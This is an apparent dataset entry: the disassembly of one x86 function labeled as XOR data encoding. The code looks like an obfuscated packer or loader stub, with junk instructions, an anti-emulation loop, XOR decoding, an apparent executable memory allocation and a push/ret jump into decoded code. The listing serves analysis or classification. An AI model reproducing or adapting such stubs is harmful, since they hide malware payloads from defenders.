Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xcab638f1
and edi, edi
or esi, edi
popal
and edi, esi
add edi, 0xab2fd30f
mov esi, 0xc0645571
mov ebx, 0
mov eax, esi
add edx, 1
sub ecx, edx
sub ecx, 0x66423cef
mov edi, eax
mov ecx, edx
sub ecx, 1
mov esi, edi
sub ecx, edx
not ecx
inc ebx
mov ecx, edx
not edx
cmp ebx, 0x1004fc1
jne 0xa789c9
add edx, 0x963bfe11
mov edx, ecx
add edx, 0x5c715c90
add edi, edi
dec edi
mov edi, 0xa78796
inc ecx
sub ebx, 1
inc esi
mov eax, 0xa7898a
sub esi, ecx
sub esi, ecx
mov edx, dword [edi]
add ecx, 1
sub ecx, ebx
and edx, 0xff
sub esi, 1
add ebx, 0x318c12
xor dword [eax], edx
mov ebx, esi
not ecx
add eax, 1
add ebx, ebx
add ebx, 0xfd8c2056
and esi, esi
inc edi
and esi, esi
and ecx, ebx
sub esi, ecx
cmp eax, entry0
jl 0xa78a21
dec esi
add ecx, 0xdbf9b4e2
sub ecx, ebx
and esi, esi
sub ecx, esi
not ebx
mov edx, 0x37818977
mov edi, 0xa7898e
mov edx, 0x825fafc5
mov ebx, ecx
mov edi, dword [edi]
mov ecx, 0x44db59fb
not ecx
add ebx, esi
mov edi, dword [edi]
not esi
add ecx, 0x5cfe9441
push edi
add edx, 0xf643e320
add esi, 1
mov edi, 0xa7898a
not ecx
add ecx, 0x4c4b5b68
mov edi, dword [edi]
not esi
sub edx, 0x51e8c0ad
mov edi, dword [edi]
sub edx, 1
mov edx, 0x264ea5e8
sub esp, 4
mov dword [esp], 0xa78992
or ecx, esi
or ebx, edx
call edi
sub ecx, edx
inc esi
sub edx, esi
pop edi
sub esi, 0x870631f3
add edx, ebx
push 0xa7899f
inc ebx
add ecx, 0x336efad
sub esp, 4
mov dword [esp], eax
sub ebx, esi
and ebx, ecx
sub ecx, ebx
call edi
or edx, esi
mov ebx, edx
push 0x40
not edx
not ebx
inc ecx
push 0x3000
mov edx, ecx
or esi, ecx
sub esp, 4
mov dword [esp], 0x20000a02
mov edx, ebx
add ecx, 0xba7d8b09
dec esi
sub esp, 4
mov dword [esp], 0
sub ecx, 0x5dc58686
or ebx, ecx
mov ebx, esi
call eax
and edx, edx
dec ecx
and esi, esi
add eax, 0x2000096e
inc ebx
mov ecx, edx
mov esi, ebx
mov edi, 0x15c4478c
sub ecx, 0xf61736
mov ecx, ebx
mov dword [eax], edi
sub edx, ebx
dec ecx
sub ecx, 0x57e7f666
mov edi, dword [eax]
and ebx, ebx
mov ecx, 0xc372224c
or ecx, ecx
cmp edi, 0x15c4478c
je 0xa78b86
mov ebx, 0
mov byte [ebx], dl
add ecx, 0xe9772d6d
add ecx, 0x6bf486c3
mov edx, 0xda3f7ae3
add ecx, 0x2a69c5dc
or edx, ecx
or esi, esi
not edi
inc esi
mov eax, section..pdata
or edi, edi
and esi, esi
dec esi
mov edx, 0xa78795
not edi
and esi, esi
and esi, edi
mov ecx, 0
dec esi
sub edi, esi
mov ebx, 0xa78796
and esi, esi
or esi, esi
or esi, esi
lea ebx, [ecx + ebx]
not esi
dec edi
mov edi, esi
mov ebx, dword [ebx]
mov esi, edi
sub esi, 0xb41522da
and ebx, 0xff
sub edi, 1
and edi, edi
not edi
inc ecx
not edi
sub edi, 0x113c50ad
cmp ecx, 0x1f4
jne 0xa78c04
mov ecx, 0
sub edi, 0xf16a368
sub esi, 1
sub edi, esi
mov edi, esi
add esi, edi
xor dword [eax], ebx
or edi, edi
mov esi, edi
not esi
add eax, 2
mov edi, esi
mov edi, 0x5850684d
cmp eax, edx
jl 0xa78bc1
add edi, esi
sub esi, 0xa8a2b831
and esi, esi
and esi, esi
add esi, 0x445a7083
mov ebx, section..pdata
not edi
and esi, esi
mov eax, section..pdata
add esi, edi
mov edi, esi
add esi, 0xfb02e195
mov edx, 0xa78795
add esi, edi
or esi, edi
mov ecx, 0
add esi, 0x95b7d70f
dec edi
mov cl, byte [eax]
mov esi, 0xf4da0d42
add edi, 0x58b67734
and esi, esi
mov byte [ebx], cl
inc edi
dec esi
add ebx, 1
add edi, edi
or edi, esi
inc esi
add eax, 2
mov esi, edi
and esi, edi
cmp eax, edx
jle 0xa78c72
sub esi, 0x63897e4d
inc esi
sub esi, edi
sub edi, 1
push 0x8dc6a0
or edi, esi
sub esi, edi
mov edi, esi
ret